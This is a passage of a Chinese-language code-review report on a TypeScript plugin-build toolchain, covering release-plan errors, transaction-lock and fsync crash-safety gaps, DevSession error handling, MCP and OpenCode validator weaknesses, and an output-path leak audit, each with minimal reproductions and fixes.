Scanner、Artifact、DeliveryUnit、Adapter、第二生命周期、Extension 顺序协议、Node Runtime Extension 或 Integration-local bundler。 + +Finding 汇总: + +| 严重度 | 数量 | 结论 | +| --- | ---: | --- | +| P0 | 0 | 未发现立即导致普遍数据破坏或凭据直接泄漏的确定路径 | +| P1 | 9 | 阻断当前交付/发行 | +| P2 | 2 | 应在 beta 收口前修复 | +| P3 | 0 | 未保留无实际影响的风格类 Finding | + +## 2. Review Baseline + +### 2.1 Git 基线 + +- 实际分支:`beta_1_0`,与给定基线一致。 +- 实际 HEAD:`9086b37c21bcc700e163043abfb050f91242ffe9`,与给定基线一致。 +- 从 HEAD 到 Review 开始时完整工作树:318 个 tracked path 变化,约 `+27091/-18756`。 +- Review 开始时已有 untracked 产品测试:`packages/acplugin/test/dev-session.test.ts`;它被实际 `pnpm run test` 收集并执行。 +- `review2.md` 是用户在 Review 过程中指定的输出文件,不计入被审产品基线。 +- `packages/core/src/kernel-types.ts:8` 仍为 `LIFECYCLE_API_VERSION = '1'`,满足硬约束。 + +### 2.2 实际验证结果 + +| 命令/验证 | 结果 | 关键证据 | +| --- | --- | --- | +| `pnpm run lint` | PASS | 中文注释守卫覆盖 195 个文件,ESLint 通过 | +| `pnpm run typecheck` | PASS | 13/14 workspace 项目通过 TypeScript 7 检查 | +| `pnpm run test` | PASS | 52 个 Test Files、288 个 tests 全部通过;pretest 同时完成全量 build | +| `pnpm run build` | PASS | 由 `test` pretest 和 `docs:check` 各执行一次;九个正式包及私有 Core 均成功构建 | +| `pnpm run docs:check` | PASS | TypeDoc、VitePress、docs verify、Playground build/typecheck/verify 均通过 | +| `pnpm run release:verify` | PASS(当前版本) | 九个当前 beta tarball、publint/ATTW、clean consumer 通过;不代表 version-packages 后仍通过 | +| `pnpm changeset status --output /dev/stdout` | 命令 PASS,计划 FAIL | 九个公开包的 `newVersion` 均为稳定 `1.0.0` | +| `git diff --check` / `git diff --cached --check` | PASS(最终快照) | 两种 diff 均无 whitespace error | + +构建中的 `@iarna/toml` direct-eval warning 和 VitePress chunk-size warning 没有独立故障证据,本轮不作为 Finding。 + +### 2.3 `code-review` 双轴结果 + +| 轴 | 独立结论 | +| --- | --- | +| Standards | 确认有效 Changeset 会把当前 beta 九包直接升至 `1.0.0`;未发现需要把 SDK facade、独立 Platform validator 或 `runProject()` 薄入口判为 smell 的证据。最终工作树的两种 diff check 均通过。 | +| Spec | 独立确认 beta 发行错误、DevSession 异常终态、OpenCode local MCP validator 绕过、Transaction 持久化 barrier 缺口。主审进一步以真实反例确认 lock、MCP smoke、managed deterministic audit、MCP entry/schema 和 Extension 错误扩散。 | + +## 3. Findings + +### F-01 — [P1][Release] 有效 Changeset 会把九个 beta 包直接升级到稳定 `1.0.0` + +- **置信度:100%** +- **精确位置:** `.changeset/initial-1-0-baseline.md:2-15`;`.changeset/kernel-v2-sdk-boundary.md:2-13`;`.github/workflows/patch.yml:50-117`。 +- **当前行为:** 两份有效 Changeset 都把九个公开包声明为 `major`;第一份还明确写着 “Promote ... to stable 1.0.0”。`pnpm changeset status --output /dev/stdout` 实测九包的 `newVersion` 全部为 `1.0.0`。 +- **为什么是故障:** 本轮明确基线是“当前处于 beta,允许 breaking change,但不得错误进入稳定 1.0”。Patch workflow 会无额外 prerelease 防线地在 `patch.yml:89` 执行 `pnpm version-packages`,因此这是可直接触发的错误发行计划,不是未来建议。 +- **最小复现:** 在当前工作树执行 `pnpm changeset status --output /dev/stdout`;检查 `releases[*].newVersion`,九项均为 `1.0.0`。 +- **最小修复:** 将未来稳定 1.0 promotion 从当前有效 Changeset 中移出;为 Kernel v2 采用明确、可自动验证的 beta prerelease 策略(Changesets pre mode 或仓库选定的等价方案),同时仍覆盖实际变更的九个包。 +- **是否需要架构决策:** 不需要 Kernel ADR;需要维护者明确发行策略并记录在 release guide/Changesets 配置中。 +- **修复后测试与 DoD:** `changeset status` 不产生任何稳定 `1.0.0`;九个实际变更包仍有有效 release entry;Patch workflow 对 beta/stable 目标增加断言;`release:verify` 继续验证相同九包。 + +### F-02 — [P1][Release] Patch 消费 Changeset 后不会更新 init/Migration 使用的唯一生态版本快照 + +- **置信度:99%** +- **精确位置:** `.github/workflows/patch.yml:65-117`;`packages/acplugin/src/ecosystem-versions.json:1-11`;`scripts/verify-release.mjs:14-19,134-168`。 +- **当前行为:** Patch workflow 只执行 `pnpm version-packages` 和 `pnpm install --lockfile-only`,没有刷新 `ecosystem-versions.json`。init、Migration 和 release verifier 都读取该快照;verifier 又要求快照精确等于 package manifests。 +- **为什么是故障:** 任意真实版本 PR 都会出现 manifests 已升级、快照仍是旧 beta 的状态。PR 的 Check 只跑 lint/typecheck/docs,可以合并;随后 `release:verify` 会失败,或在未运行该门时让 init/Migration 生成旧版本依赖。所谓“唯一 snapshot”实际成了需人工同步的第二真相源。 +- **最小复现:** 将本次 `changeset status` 给出的 `newVersion` 与 `ecosystem-versions.json` 比较,所有九包都不同;按 workflow 的命令序列没有任何一步修改快照。`verify-release.mjs:143` 会在 version 后精确失败。 +- **最小修复:** 增加一个仓库内版本快照生成器,从九个 manifest 生成稳定排序 JSON;在 `version-packages` 后、lockfile/lint 前强制执行。Check 中加入只读 `--check` 模式,禁止手工漂移。 +- **是否需要架构决策:** 不需要;单一版本源已经是既定架构。 +- **修复后测试与 DoD:** 在临时副本执行完整 Patch 命令序列;快照、manifests、init fixture、Migration fixture 和 `release:verify` 同时通过;只改一个独立包时快照只更新对应项。 + +### F-03 — [P1][Correctness] 事务锁在 create→write 窗口崩溃后会永久阻塞该输出目录 + +- **置信度:100%** +- **精确位置:** `packages/core/src/transaction.ts:429-457,622-630`;测试缺口位于 `packages/core/test/transaction-v2.test.ts:202-229,364-374`。 +- **当前行为:** Core 先以 `wx` 创建最终 lock path,再写 JSON。进程在两者之间崩溃、写入失败或只写入部分内容时会留下空/截断锁。下一次构建在 `JSON.parse` 失败后统一抛出 “Managed output is locked”,不会恢复。首次 write 失败也没有 finally 关闭刚打开的 handle;最终 `rm(lock)` 失败被吞掉,同一仍存活进程的下一轮会把自己的残留 PID 视为活锁。 +- **为什么是故障:** 一次可预期进程崩溃即可使 build/dev 永久无法提交,直到用户手工识别并删除内部 lock。它违反“死进程恢复”和 dev 连续重建契约,也使 lock 比 transaction marker 更脆弱。 +- **最小复现:** 在临时工程创建空 `.dist.acplugin.lock` 后调用 `commitPackageUnits()`。实测返回 `Managed output is locked. SyntaxError: Unexpected end of JSON input`,且锁仍存在。现有测试只覆盖完整 `{ pid: deadPid }` 记录。 +- **最小修复:** 用临时普通文件完整写入、`sync`、原子 hard-link/rename 到最终 lock 的方式同时完成“记录完整”和“互斥获取”;记录不可猜测 owner token,并确保所有失败路径关闭 handle。lock 清理失败不得静默伪装成成功,需要可恢复状态或稳定诊断,同时不能误删活进程的锁。 +- **是否需要架构决策:** 不需要;只是在既定独占锁协议内补齐 crash safety。 +- **修复后测试与 DoD:** 子进程或 FS fault seam 覆盖 create 后崩溃、部分写、write/sync/close/rm 失败、完整活 PID、完整死 PID、同 PID 残留及并发 writer;每个非活锁状态都可自动恢复,活锁绝不被抢占。 + +### F-04 — [P1][Correctness] Transaction 的“持久 marker”只 sync 文件内容,没有持久化目录项与 rename 顺序 + +- **置信度:90%** +- **精确位置:** `packages/core/src/transaction.ts:94-112,503-508,553-600`。整个文件唯一 `.sync()` 位于 `:102`;所有 `link`、`rename`、marker 删除和 backup 删除后均未 fsync parent directory。 +- **当前行为:** `.writing` 内容会 `handle.sync()`,随后 hard-link 为最终 marker;但 marker 链接、`out→backup`、`stage→out`、committed marker 和 cleanup 的目录项都没有 durability barrier。恢复逻辑把“无 marker + backup + out 同时存在”认定为已提交 cleanup,直接删除 backup。 +- **为什么是故障:** 在支持写回重排的文件系统上,机器/容器持久崩溃可能使 rename 已落盘而 pending/committed marker 的目录项丢失。恢复随后会把仍完整的旧 backup 删除并暴露未完成的新输出,违反“任一阶段失败保留上一份完整输出”。当前 fault tests 只模拟函数抛错或手工逻辑状态,不证明持久顺序。 +- **最小复现/可验证路径:** 构造同级 `backup=old`、`out=new`、无 pending/committed marker 的持久状态并进入 recovery;`transaction.ts:503-508` 会保留 new 并删除 old backup。该状态正是目录项重排后可出现的歧义窗口。 +- **最小修复:** 明确定义 durability barrier:pending marker link 后 fsync parent;每次 backup/output rename 后 fsync parent;committed marker发布后 fsync parent;删除 backup 与 markers 后按协议 fsync parent。Windows/非 POSIX 平台使用等价可证明的 adapter,不要只依赖文件内容 sync。 +- **是否需要架构决策:** 若契约继续包含机器/持久崩溃恢复,则不需要新 ADR;若只承诺“单进程异常、不承诺掉电/宿主崩溃”,必须新增架构决策并收窄文档和测试措辞。 +- **修复后测试与 DoD:** 可注入 FS 或持久状态模型覆盖每个 link/rename/unlink/barrier 窗口及 fsync 失败;任何未 committed 状态恢复旧输出,任何 durable committed 状态保留新输出;不存在会误删唯一完整副本的无 marker 歧义。 + +### F-05 — [P1][Correctness] DevSession watcher reconciliation 异常会产生无 `build-complete` 的轮次和未处理 rejection + +- **置信度:98%** +- **精确位置:** `packages/core/src/kernel/dev-session.ts:205-215,245-313,355-399`。 +- **当前行为:** `updateWatcher()` 在物理 watcher 成功前先替换 `knownObservations/knownBuildPaths`;`watcher.unwatch(removed)` 没有 await;`watcher.add()`、`getWatched()` 或 5 秒 readiness timeout 抛错时,公开 `build-start` 已发出,但 `round()` 在 `build-complete` 前 reject。`requestDrain()` 以 `void drain()` 丢弃该 rejection。 +- **为什么是故障:** 它违反每个公开 start/complete 必须配对、失败轮可观察且 session 可继续恢复的明确契约。监听图的逻辑状态还可能领先于真实 watcher,导致错误去重或漏掉后续依赖事件。 +- **最小复现/可验证路径:** 让动态 `watcher.add/getWatched` 永远不显示新路径或令 `unwatch/add` reject;事件序列停在 `build-start`,timer callback 形成 unhandled rejection。当前 DevSession 测试只覆盖成功 reconciliation 和业务失败报告,不覆盖 watcher API 失败。 +- **最小修复:** 先完成并 await 物理 unwatch/add/readiness,再一次性提交三份逻辑 snapshot;`round()` 用受控 catch/finally 把 watcher 错误转换为 `phase: dev` 的失败报告并发布配对 complete;所有 fire-and-forget drain 必须显式捕获并进入同一状态机。 +- **是否需要架构决策:** 不需要;事件配对和一个 active round 已由 spec 定义。 +- **修复后测试与 DoD:** 注入 unwatch reject、add reject、getWatched reject/timeout;断言序号从 1 开始、start/complete 一一配对、无 `unhandledRejection`、last-good graph 保留、失败轮新依赖可恢复、后续成功原子替换 graph。 + +### F-06 — [P1][Correctness] DevSession close 异常不会进入 terminal state,`closed` 可永久悬挂 + +- **置信度:99%** +- **精确位置:** `packages/core/src/kernel/dev-session.ts:457-482`;CLI 放大路径为 `packages/acplugin/src/cli.ts:178-188,215-220`。 +- **当前行为:** `closeTask` 内顺序 await `active` 和 `watcher.close()`;任一 reject 都会跳过 poller 清理、`closed=true`、唯一 `closed` 事件、listeners 清理和 `resolveClosed()`。并发 `close()` 虽共享同一 rejected Promise,但 `session.closed` 永远不 settle。CLI signal handler丢弃 `close()` Promise,随后等待 `session.closed`,因此可能挂起而不是以 130 退出。 +- **为什么是故障:** 关闭是生命周期安全边界;失败时仍必须撤销 watcher/timer/listener 并到达恰好一次 terminal state。当前实现会泄漏资源、悬挂测试/CLI/宿主进程,并使 SIGINT/SIGTERM drain 契约失效。 +- **最小复现/可验证路径:** 令 active round 因 F-05 reject,或令 `FSWatcher.close()` reject,然后并发调用两次 `close()` 并等待 `session.closed`;共享 closeTask reject,但 `closed` 不解析且没有 closed event。 +- **最小修复:** close 使用单一 try/finally terminalizer;分别捕获 active/watcher cleanup 错误,始终停止 debounce/poller、关闭可关闭资源、设置 closed、发布一次 closed、清空 listeners 并 resolve `closed`。`close()` 是否在 terminalize 后 reject 可保留,但必须有稳定、文档化语义。 +- **是否需要架构决策:** 不需要新 ADR;需在公共 API 注释中锁定“cleanup error 与 `closed` settlement”的具体行为。 +- **修复后测试与 DoD:** active reject、watcher.close reject、两者同时失败、并发 close、信号到达初始化/active/idle 三种窗口;`closed` 总是 settle,事件恰好一次,active round仍有 complete,CLI 最终 130,无 timer/listener/watcher 残留。 + +### F-07 — [P1][Correctness] MCP stdio smoke 只查两个 `id/result`,非 MCP 程序也能通过 + +- **置信度:100%** +- **精确位置:** `packages/extensions/mcp/src/build.ts:48-90`。 +- **当前行为:** smoke 要求进程 exit 0,然后逐行 JSON.parse,并查找 `id === 1/2` 且存在 `result`。它不检查 `jsonrpc: '2.0'`、error envelope、重复/错误 ID、initialize 的 `protocolVersion/capabilities/serverInfo`,也不检查 tools/list 的 `result.tools` 数组。 +- **为什么是故障:** “本地 stdio MCP 是完整实现,并通过真实 initialize/tools/list smoke”是明确契约。当前 validator 只证明程序打印了两行带 result 的 JSON,不能证明目标平台能建立 MCP 会话。 +- **最小复现:** 创建 `server.ts`,启动后直接打印 `{"id":1,"result":{}}` 和 `{"id":2,"result":{}}` 并退出 0,不读取 stdin。通过真实 public `runProject({ command:'validate' })` 实测 `success: true, diagnostics: []`。 +- **最小修复:** 建立严格响应解析器:JSON-RPC 版本必须为 2.0;request ID 唯一且类型/值精确;不得有 error;initialize 必须返回兼容 protocolVersion、对象 capabilities 和合法 serverInfo;tools/list 必须返回 `{ tools: [...] }` 且 tool descriptor 至少满足 MCP 基本结构。多余日志需按协议允许的 channel/消息形态处理。 +- **是否需要架构决策:** 不需要;MCP handshake 已是既定要求。 +- **修复后测试与 DoD:** 当前伪程序、重复 ID、error、错误 protocolVersion、缺 capabilities/serverInfo、非数组 tools 全部失败;真实最小 SDK server 成功;timeout/output 上限和原始 stdout/stderr 脱敏保持成立。 + +### F-08 — [P2][Correctness] MCP 作者 descriptor 的运行时校验不是 exact discriminated union,且文档化 `./server.ts` 被误拒绝 + +- **置信度:99%** +- **精确位置:** `packages/extensions/mcp/src/types.ts:41-64`;`packages/extensions/mcp/src/discovery.ts:12-13,72-78,146-180`;Core 路径规则 `packages/core/src/kernel/path-policy.ts:37-52`。 +- **当前行为:** 顶层统一允许 HTTP/stdio 全部字段,transport-specific 多余字段会被静默忽略;auth 只查少数字段,不拒绝按 type 不允许的字段;development URL 只特别处理非 loopback `http:`,`ftp:` 等其他协议没有被 Extension 拒绝。公开类型注释写 stdio entry 默认 `./server.ts`,但 discovery 把显式 `./server.ts` 原样传给 Source Service,而 Core 正确拒绝 dot segment。 +- **为什么是故障:** JS、`as never`、配置反序列化或第三方生成器可绕过 TS 联合类型;Extension 边界应给出稳定、精确的 portable intersection,而不是静默丢语义。更直接地,作者照公开 API 文档显式填写合法默认值会得到 `MCP_ENTRY_MISSING`。 +- **最小复现:** `export default { transport:'stdio', entry:'./server.ts' }`,同目录实际存在 `server.ts`;真实 public validate 实测失败,唯一诊断为 `MCP_ENTRY_MISSING`。另可构造 `{transport:'http', entry:'server.ts'}` 或 `{auth:{type:'none',env:'X'}}`,当前 transport/auth-specific 多余字段不报错。 +- **最小修复:** 在 snapshot 后按 transport/auth 建立 exact runtime schema,拒绝所有互斥/未知字段;URL 只允许 production HTTPS 或 development HTTPS/loopback HTTP;在 Source Service 前将被公开允许的单个 `./` 前缀显式规范成 `server.ts`,或同步修改公开契约只接受无 `./` 的安全相对路径。 +- **是否需要架构决策:** 不需要;需选择并统一 entry 的公开拼写,但不改变架构。 +- **修复后测试与 DoD:** 覆盖 HTTP×stdio 字段交叉、auth 三分支未知字段、ftp/file/带凭据 URL、`server.ts`/`./server.ts`、dot/parent/absolute、env/header ValueSource exactness;类型测试与运行时测试同构。 + +### F-09 — [P1][Correctness] OpenCode final candidate validator 可把任意现有 Asset 当作 local MCP server 并允许额外参数 + +- **置信度:100%** +- **精确位置:** `packages/platforms/opencode/src/validator.ts:58-99`;目标契约 `.llmdoc-tmp/specs/acplugin-cross-review-remediation-spec.md:162-174`;官方输出 `packages/extensions/mcp/src/contributors/opencode.ts:24-27,60-67`。 +- **当前行为:** local command 只要求字符串数组长度至少 2、首项为 `node`、第二项解析为任意现有 workspace Asset;没有要求恰好两个元素,也没有绑定 server ID、固定 `.opencode/mcp//server.mjs`、`.mjs` 类型或 executable mode。 +- **为什么是故障:** 公开 SDK 第三方 Extension 可以占用合法 `workspace-config.mcp` point,让最终 candidate 通过,却生成目标平台必然无法作为 MCP server 执行的 wire data。Platform 是最终目标协议 owner,不能依赖官方 MCP Contributor 自律。 +- **最小复现:** 最小第三方 Extension 贡献 `{ hostile:{ type:'local', command:['node','./opencode.json','--arbitrary'] } }`,不添加任何 server Asset;Platform 自己生成的 `opencode.json` 已在候选 Asset 集中。真实 Kernel validate 实测 `success:true, diagnostics:[]`。 +- **最小修复:** 对 server `id` 要求 command 精确等于 `['node', './.opencode/mcp//server.mjs']`;对应 Asset 必须存在且为 `0755`,并拒绝额外参数和错误后缀。不要把官方 Extension owner 名硬编码进 Platform,以保留合法第三方 Contributor。 +- **是否需要架构决策:** 不需要;remediation spec 已给出精确 wire contract。 +- **修复后测试与 DoD:** 用 public `/sdk` 最小第三方 Extension 分别注入 wrong-id、任意现有 Asset、非 `.mjs`、额外 args、0644 Asset,全部在 `platform-validate` 失败;官方 MCP local fixture 继续通过。 + +### F-10 — [P1][Security] managed-rolldown deterministic 审计同时存在普通输出误拒绝与 chunk/asset 绝对路径漏检 + +- **置信度:100%** +- **精确位置:** `packages/core/src/compiler/managed-auditor.ts:177-235`;契约 `llmdoc/state/sync.md:11-13,19`、`packages/docs/ecosystem/build-service.md:17-27`。 +- **当前行为:** deterministic 分支只对 chunk code 搜索每个完整 physical module file ID;不搜索 project/source/package/work/temp 根,也完全不扫描 emitted asset bytes。普通未压缩 Rolldown 输出含 `//#region `,因此最小 deterministic job 被误拒;设置 `minify:true` 去掉该注释后,Plugin 在 `renderChunk` 注入 project root、在 `generateBundle` 发出同内容 asset,二者都通过。 +- **为什么是故障:** 该 public policy 既不能作为可用的确定性模式,也不能实现“稳定输出无绝对/临时路径”的安全边界。第三方 Integration 在完全受支持的 render/generate hooks 内即可把机器路径写进最终 GeneratedAssetRef。 +- **最小复现:** 实测同一最小 managed job:`deterministic:true,minify:false` 返回 `Managed Rolldown deterministic output contains an absolute source path`;改为 `minify:true` 并在 render/asset 注入临时工程根,编译成功,`main.mjs` 与 `leak.txt` 均 `containsRoot:true`。 +- **最小修复:** deterministic profile 必须先禁止或规范 Rolldown 自带的物理 ID 注释,而不是要求调用方 minify;随后对所有输出 bytes(chunk 和 asset)扫描 Core 已知的 project/source/package/work/temp roots及平台路径形式。审计 marker 至少应包含根而非仅完整文件名。若短期无法给出可证明语义,应暂时移除/拒绝 public `deterministic:true`,不要保留误导性半实现。 +- **是否需要架构决策:** 保留既定能力时不需要;若删减/改义 public policy,需要 SDK 级决策记录。 +- **修复后测试与 DoD:** 未压缩、压缩、renderChunk、generateBundle string/Uint8Array asset、source map、Windows/POSIX path、project/work/package root 全覆盖;普通 deterministic build 成功,任一输出字节含受保护物理根均失败,报告仍不泄漏路径。 + +### F-11 — [P2][Correctness] Extension build 失败会被扩散成每个目标 Platform 的 contribution failure + +- **置信度:100%** +- **精确位置:** `packages/core/src/kernel/build-session.ts:729-778,800-810`;`packages/core/src/resources/extension-provider.ts:323-365`。 +- **当前行为:** build 失败的 Extension 不进入 `built[]`,但其 consumer plan 仍保留;`projectHasErrors()` 明确忽略 extension-owned errors,所以每个 Platform 继续 collect。`collectExtensionContributions()` 找不到 Built State 后抛错,外层再记录 `PLATFORM_CONTRIBUTION_FAILED`。 +- **为什么是故障:** 单一 Extension compile 错误被错误归因给所有消费 Platform,污染 phase/owner,降低多平台诊断可操作性,也可能掩盖真正独立的 Platform contribution error。它不是安全隔离所需复杂度,而是 stage 状态没有收敛。 +- **最小复现:** 一个 Extension validate 成功、build 抛错并声明 OpenCode contributor;真实 Kernel report 同时产生 `EXTENSION_BUILD_FAILED` 和 `PLATFORM_CONTRIBUTION_FAILED`。增加多个 Platform 时会线性扩散。 +- **最小修复:** build 失败后从 contribution collection 中剔除该 Extension plan,或显式把 plan 标记 failed 并只跳过其 contributor;其他成功 Extension 和独立 Platform 继续执行。不要把 extension error 提升为 project-global error。 +- **是否需要架构决策:** 不需要;仍保持无序、同 base、跨 Extension 隔离。 +- **修复后测试与 DoD:** 一个失败 Extension、一个成功 Extension、两个 Platform;只出现一个 extension compile 诊断,成功 Extension 仍在两个 Platform 贡献,不出现派生 Platform error,close 仍逆序执行。 + +## 4. Architecture Matrix + +| 子系统 | 架构匹配度 | 实现完整度 | 复杂度判断 | 建议 | +| --- | --- | --- | --- | --- | +| Core / Rolldown | 高 | 中高 | 两个 profile、capability host、真实 module/license/watch graph 是合理复杂度;deterministic audit 是局部错误实现 | 保留;局部修复 F-10 | +| Core Node Runtime | 高 | 高 | auto/explicit、一次 compile、多平台同 AssetRef、capability delivery 均直接对应需求 | 保留 | +| Hooks | 高 | 高 | 作者语义结果与 wire profile 分离、单次 portable build、runner 限制和六 Contributor 已成立 | 保留;补 exact JSON 边界回归即可 | +| MCP | 高 | 中 | Core compile/execution/secret reference 方向正确;descriptor exactness 与真实 handshake 未收口 | 局部修复 F-07/F-08 | +| Claude Code | 高 | 高 | 深层 Hook/MCP validator、Plugin/Marketplace owner 均在 Platform | 保留 | +| Codex | 高 | 高 | Command/Agent fallback、Skill metadata、Hooks/MCP final validation 完整 | 保留 | +| Cursor | 高 | 高 | 原生 Components、remote MCP 与 Hook final validation 成立 | 保留 | +| Antigravity | 高 | 高 | Skill transformation、remote MCP/Hook validator 和 unsupported Runtime 明确 | 保留 | +| OpenCode | 高 | 中 | first-class workspace 和唯一 `opencode.json` 已正确;local MCP closure 可绕过 | 局部修复 F-09 | +| Pi | 高 | 高 | Prompt/Skill 转换、MCP/Runtime unsupported 且不生成伪实现 | 保留 | +| Transaction | 中高 | 中 | marker/backup/stage/swap 的必要复杂度合理,逻辑窗口大多自洽;lock 与 durability barrier 不完整 | 聚焦 crash protocol 局部重写,不重写 Package/Asset | +| DevSession | 高 | 中 | 一个 active round、coalescing、last-good+failure graph 是合理状态机;异常 terminalization 不完整 | 局部重写 error/finally 路径 | +| Lifecycle / Package | 高 | 高 | 同一 frozen base、无序 add-only merge、owner/path/field conflict、merge 后 finalize/validate 已成立 | 保留 | +| Migration | 高 | 高 | CLI 唯一动态 import;legacy 只在隔离子系统内;正常 Core/Platform/Extension 无反向 import | 保留 | +| Docs / Playground | 高 | 高 | Runtime、九包、公开 API 和 Playground 基本同构;只剩质量门与少量语义锁定 | 局部修复 | +| Release | 中 | 低 | 九包独立 tarball/peer/consumer 边界已好;版本计划与快照自动化错误 | 优先修复 F-01/F-02 | + +补充确认: + +- Runtime 自动发现只取 `src/runtime/` 一级受支持 TS/JS,显式 `runtime.entries` 完整替换自动发现;嵌套文件只通过 Rolldown graph 成为依赖;空目录无 Runtime/compatibility 噪声。 +- Runtime 只编译一次,Claude Code/Codex 通过同一 Built AssetRef 继承;其余平台只报告 unsupported,不生成伪 Runtime。 +- `@tokenroll/acplugin` 构建实际 bundle 私有 Core;release verifier 证明没有 bundle/re-export 官方 Platform/Extension,九个 tarball 无 `@acplugin/*` 运行时边。 +- Platform/Extension 正式源码通过 `@tokenroll/acplugin/sdk`;跨 tarball `Symbol.for` brand 在 clean consumer 中工作。 +- Migration 仅在 `packages/acplugin/src/cli.ts:318` 动态 import;正常路径没有 Migration 反向边。 +- `transpileModule`、Integration-local `bundler.ts/adapters.ts`、旧 Artifact/DeliveryUnit/Scanner 实现、第二 lifecycle 和 `output-paths.ts` 已从正式生产路径删除。 + +## 5. Over-design and Complexity Audit + +### 5.1 合理且应保留的复杂度 + +- **SourceRef/AssetRef + owner registry:** 这是防 forged ref、跨 owner 读取、TOCTOU、symlink/special file、case/NFC collision 的真实安全边界,不是为了类型美观制造的层级。 +- **base → unordered contributions → merged → finalize → materialize/validate:** 它同时解决扩展无顺序语义、Document point/Asset path 冲突、Platform 最终协议 owner 三个真实需求,职责清晰。 +- **portable-node / managed-rolldown 双 profile:** Runtime/Hooks/MCP 需要受限可移植 executable;第三方 Integration 需要更广 Rolldown plugin 能力。二者是两个真实用例,不应强行合并。 +- **Platform 独立 validator:** 六个公开 tarball拥有不同 wire protocol;重复少量 JSON/path helper 比把目标协议下沉 Core 更正确。 +- **事务与 Dev 状态机:** whole-output 替换、subset commit、崩溃恢复、动态 graph 和 signal drain 本身就需要状态,不应以“比 Vite 配置多”判为过度设计。 + +### 5.2 可删除或收敛的复杂度 + +- `managed-rolldown.policy.deterministic` 当前是半实现:修完整,否则 beta 阶段直接移除,不能让调用方用 minify 偶然规避误报。 +- DevSession 同时提前修改 `knownObservations/knownBuildPaths`、再异步修改 `watchedPaths`,造成三份状态不同步;应收敛为一次可测试的原子 reconcile,而不是继续堆补偿条件。 +- Release 的手工 `ecosystem-versions.json` 更新责任应由生成器消除,避免第二真相源。 +- failed Extension plan 不应继续流入每个平台的 contribution 阶段;删除这条派生路径比增加错误映射层更简单。 + +### 5.3 错误抽象与不应新增的抽象 + +- 当前没有证据表明 Core/Facade/Platform/Extension/Resource Provider 的总体分层错误;`runProject()`/`Project` 薄 facade 和 SDK `definePlatform/defineExtension` brand 工厂有清晰公共边界,不是无职责 Middle Man。 +- 不应把六平台 Hook/MCP validator 抽成 Core “通用目标协议”;只有安全路径/JSON codec/Asset ownership 属于 Core,wire schema 必须留在 Platform。 +- 不应恢复 Extension dependency graph、顺序、claim/suppress/override、跨 Extension state;当前没有两个以上真实用例,且会破坏 add-only 模型。 +- 不应把 Runtime 再包装为 descriptor/factory/Contributor/Manifest patch 或公开 Extension。 +- 不应为修复 F-11 增加第二生命周期;只需让现有 stage plan 显式收敛失败状态。 + +### 5.4 与 Nuxt/Vite、tsdown/Rolldown 类关系的判断 + +ACPlugin 比典型 Vite plugin runner 更复杂,但主要增量来自它承诺的 **多平台最终协议、owner-isolated author assets、第三方 Integration capability、全目录原子提交、严格 compatibility tuple 和持久 dev graph**。这些不是简单 bundler wrapper 会自然提供的能力,因此总体复杂度合理。真正偏离“开箱即用”的部分不是抽象数量,而是少数安全选项/异常状态机没有兑现自己的契约;修复这些局部后,无需整体重写。 + +## 6. Previous Finding Audit + +| 历史重要结论 | 当前状态 | 本轮证据 | +| --- | --- | --- | +| Transaction 缺少 pending/committed 区分,swap 后崩溃恢复歧义 | **已解决(逻辑进程崩溃层面)** | `.writing → sync → hard-link`、pending+committed 双 marker 与现有 crash-state tests 已建立;但 F-03/F-04 的 lock/durability 仍成立 | +| DevSession 尚未实现/CLI 自建 watcher | **已被新架构取代** | Core `createDevSession()` 是唯一 watcher owner,CLI 只订阅事件 | +| DevSession 初始化伪事件、sequence、listener isolation、active close 配对 | **已解决(成功路径)** | 新 untracked 测试实际通过;sequence 1、start/complete、一次 closed、并发 close identity、listener auto-remove 均有证据 | +| DevSession error/watch/close 收敛 | **仍然成立** | F-05/F-06 | +| 五个平台只验证 sidecar 引用、不验证完整 wire | **大部分已解决** | Claude/Codex/Cursor/Antigravity 深层 validator 和 hostile fixtures 已存在;OpenCode local closure 仍有 F-09 | +| OpenCode MCP 生成错误 sidecar/与 workspace config 不同构 | **已解决** | 官方 Contributor 只写 `workspace-config.mcp`,最终生成唯一 `opencode.json` | +| Runtime 被实现为 Extension/descriptor/factory | **已被新架构取代** | Core Framework Resource、固定 owner、一次 portable compile、capability delivery 已成立 | +| Hooks/MCP 自建 bundler/adapters | **已解决** | 旧文件删除,二者调用同一 Core portable-node/Execution/License 基础设施 | +| 主包 bundle/re-export 官方 Integration,公开包泄漏 `@acplugin/*` | **已解决** | 九 tarball release verify 和 clean consumer 通过 | +| SDK brand 跨独立 tarball 不工作 | **已解决** | 共享 `Symbol.for(...apiVersion)`,clean consumer 实际通过 | +| parseAst 顶层加载、Migration 污染正常启动 | **已解决** | Migration 是 CLI dynamic chunk;正常 Core/Platform/Extension 无 import | +| OpenCode/Runtime/发行文档仍描述旧 Adapter/DeliveryUnit/Runtime Extension | **已被新架构取代/基本解决** | 正式架构文档明确当前模型;旧词只在历史/legacy 语境出现时不构成 Finding | +| 发行 consumer、peer rewrite、版本快照未建立 | **部分解决** | tarball/peer/consumer 和当前快照验证已通过;beta Changeset 与 version 后 snapshot 更新仍为 F-01/F-02 | +| `@iarna/toml` eval warning、VitePress chunk warning | **误报(缺少实际故障)** | 当前构建/文档/consumer 全通过,本轮无新影响证据 | + +## 7. Test and Verification Gaps + +这些是现有质量门通过后仍未覆盖的关键缺口;其中已能产生确定故障的部分已升级为 Findings: + +1. Transaction 没有 empty/truncated lock、write/sync/close/rm lock failure、活/死 PID race、marker final truncation/mismatch、backup/marker 删除失败及 parent fsync barrier 的完整 fault model。 +2. Transaction 现有 phase injection 是同进程 throw+rollback,不等价于进程被杀或目录项持久化重排;需要 subprocess/crash-state tests。 +3. DevSession 没有 watcher `unwatch/add/getWatched/close` rejection/timeout、active reject、`unhandledRejection`、并发 close failure 测试。 +4. `DevSession.current` 在旧 Kernel spec(最近完成轮,包括失败)与较新 remediation spec/实现(最近成功或首轮失败)之间冲突。当前实现遵循较新规则,但公共类型没有写明;应先锁定语义,再加 success→failure→recovery 测试。本轮不把实现本身判为 Finding。 +5. MCP smoke 没有负向 JSON-RPC/MCP shape matrix;现有“正常 server”用例不足以证明 handshake。 +6. MCP descriptor 没有 transport/auth exact union、协议 scheme 和显式 `./server.ts` 回归。 +7. managed deterministic tests 当前为零;应覆盖 Rolldown region comments、chunk/asset bytes、root variants 和 minify/non-minify。 +8. OpenCode hostile fixture已有 malformed escape,但没有“指向任意已存在 Asset”和额外 args;本轮 public-style Kernel fixture已证明绕过。 +9. Extension build failure没有断言不产生派生 Platform diagnostics。 +10. `packages/core/src/compiler/portable-policy.ts:6-7` 的 builtin allowlist来自执行构建的宿主 